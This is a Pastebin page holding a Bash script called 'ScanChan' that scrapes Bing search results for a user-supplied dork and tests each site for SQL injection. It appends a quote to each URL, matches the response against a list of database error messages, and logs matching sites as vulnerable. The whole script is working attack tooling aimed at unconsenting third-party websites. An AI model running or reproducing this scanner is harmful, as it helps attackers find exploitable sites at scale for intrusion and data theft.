Advertisement
shutdown57

ScanChan - Bing dorker + SQLi Vuln Scanner

Aug 29th, 2017
2,749
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 4.36 KB | None | 0 0
  1. #!/bin/bash
  2. # c0ded by : shutdown57
  3.  
  4. #dos2unix $0 > /dev/null 2>&1
  5.  
  6. # COLOR | WARNA
  7. m="\e[0;31m" # merah
  8. k="\e[0;33m" # kuning
  9. h="\e[0;32m" # hijau
  10. b="\e[0;34m" # biru
  11. lm="\e[1;31m" # merah terang
  12. lk="\e[1;33m" # kuning terang
  13. lh="\e[1;32m" # hijau terang
  14. lb="\e[1;34m" # biru terang seterang masa depan kita.
  15. n="\e[0m" # clear / netral
  16. w="\e[1;37m" # putih tebal
  17. error=('You have an error in your SQL','supplied argument is not a valid MySQL result resource in','Division by zero in','Call to a member function','Microsoft JET Database','ODBC Microsoft Access Driver','Microsoft OLE DB Provider for SQL Server','Unclosed quotation mark','Microsoft OLE DB Provider for Oracle','Incorrect syntax near','Warning: filesize()','Warning: preg_match()','Warning: array_merge()','Warning: mysql_query()','Warning: mysql_num_rows()','Warning: session_start()','Warning: getimagesize()','Warning: mysql_fetch_array()','Warning: mysql_fetch_assoc()','Warning: is_writable()','Warning: Unknown()','Warning: mysql_result()','Warning: pg_exec()','Warning: require()')
  18. CekDepen()
  19. {
  20.     if [[ -f "dependencies.sc" ]]; then
  21.         sleep 1
  22.     else
  23.         echo -e $lb"[i]$n Checking Dependencies ..."
  24.         touch "dependencies.sc"
  25.         sleep 2
  26.         curl --help > /dev/null 2>&1
  27.         if [[ $? -eq 0 ]]; then
  28.             echo -e $lh"[+]$n CURL ............... OK !"
  29.             echo "curl=ok" >> "dependencies.sc"
  30.         else
  31.             echo -e $lm"[-]$n CURL ............... KO !"
  32.             sleep 2
  33.             clear
  34.             sudo apt-get install curl -y
  35.         fi
  36.         sleep 3
  37.         which lolcat > /dev/null 2>&1
  38.         if [[ $? -eq 0 ]]; then
  39.             echo -e $lh"[+]$n LOLCAT ............. OK !"
  40.             echo "lolcat=ok" >> "dependencies.sc"
  41.         else
  42.             echo -e $lm"[-]$n LOLCAT ............. KO !"
  43.             sleep 2
  44.             clear
  45.             sudo apt-get install lolcat -y
  46.         fi
  47.     fi
  48.  
  49. }
  50. BanNer(){
  51.     clear
  52.     printf " ____                   ____ _                
  53. / ___|  ___ __ _ _ __  / ___| |__   __ _ _ __  
  54. \___ \ / __/ _' | '_ \| |   | '_ \ / _' | '_ \
  55. ___) | (_| (_| | | | | |___| | | | (_| | | | |
  56. |____/ \___\__,_|_| |_|\____|_| |_|\__,_|_| |_|
  57. +----------------------------------------------------+
  58. |----+ ScanChan - BingDorker SQLi Vuln Scanner +-----|
  59. | c0ded by : shutdown57 | github : @alintamvanz      |
  60. | Thx : ML7C - milio48 - bL@cKID - maskamal - s4bun  |
  61. +----------------------------------------------------+
  62. " | lolcat
  63. }
  64. SimPanKntl()
  65. {
  66.     mkdir output > /dev/null 2>&1
  67.     chmod 755 -R output > /dev/null 2>&1
  68.     nama="output/vulnsqli-"$(date +%d%m)
  69.     echo ${1} >> $nama.txt
  70. }
  71. BingDorker()
  72. {
  73.     local curl=`curl "http://www.bing.com/search?q=${2}&first=${1}1" -s`
  74.     local gets=$(echo $curl | grep -Po "(?<=<h2><a href=\")[^\"]*")
  75.     for url in $gets
  76.     do
  77.         echo $url | grep "bing" > /dev/null
  78.         if [[ $? -eq 0 ]]; then
  79.             echo ""
  80.         else
  81.             sleep 1
  82.             #echo -e "["$b" CHECK "$n"] ...................................."
  83.             CekSQLi $url ${1} ${3}
  84.         fi
  85.     done
  86. }
  87. CekSQLi()
  88. {
  89.  
  90. local cekErr=`curl -s "${1}'"`
  91. echo "---------------------------" >> "log.txt"
  92. echo "${1}" >> "log.txt"
  93. echo "===========================" >> "log.txt"
  94. echo  $cekErr >> "log.txt"
  95. echo "===========================" >> "log.txt"
  96. echo "c0ded by shutdown57        " >> "log.txt"
  97. echo "---------------------------" >> "log.txt"
  98. IFS="," read -r -a err <<< "${error[*]}"
  99. #echo ${err[2]}
  100. while [ "x${err[count]}" != "x" ]
  101. do
  102.    count=$(( $count + 1 ))
  103. done
  104.     #echo ${err[$i]}
  105.     if [[   $cekErr =~ ${err[0]} ||
  106.             $cekErr =~ ${err[1]} ||
  107.             $cekErr =~ ${err[2]} ||
  108.             $cekErr =~ ${err[3]} ||
  109.             $cekErr =~ ${err[3]} ||
  110.             $cekErr =~ ${err[4]} ||
  111.             $cekErr =~ ${err[5]} ||
  112.             $cekErr =~ ${err[6]} ||
  113.             $cekErr =~ ${err[7]} ||
  114.             $cekErr =~ ${err[8]} ||
  115.             $cekErr =~ ${err[9]} ||
  116.             $cekErr =~ ${err[10]} ||
  117.             $cekErr =~ ${err[11]} ||
  118.             $cekErr =~ ${err[12]} ||
  119.             $cekErr =~ ${err[13]} ||
  120.             $cekErr =~ ${err[14]} ||
  121.             $cekErr =~ ${err[15]} ||
  122.             $cekErr =~ ${err[16]} ||
  123.             $cekErr =~ ${err[17]} ||
  124.             $cekErr =~ ${err[18]} ||
  125.             $cekErr =~ ${err[19]} ||
  126.             $cekErr =~ ${err[20]} ||
  127.             $cekErr =~ ${err[21]} ||
  128.             $cekErr =~ ${err[22]} ]]; then
  129.         Serror=1
  130.     else
  131.         Serror=0
  132.     fi
  133. if [[ $Serror == 1 ]]; then
  134.     echo -e "[ ${2}/${3} | "$lh" VULN "$n"] : ${1} "
  135.     SimPanKntl "${1}"
  136. else
  137.     echo -e "[ ${2}/${3} | "$lm" NOOT "$n"] : ${1} "
  138.    
  139. fi
  140. }
  141.  
  142. CekDepen
  143. BanNer
  144. echo -n "Dork :"
  145. read dork
  146. echo -n "Page :"
  147. read page
  148.  
  149.  
  150. for (( i = 0; i <= $page ; i++ )); do
  151.     BingDorker $i $dork ${page}
  152. done
  153. #BingDorker
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement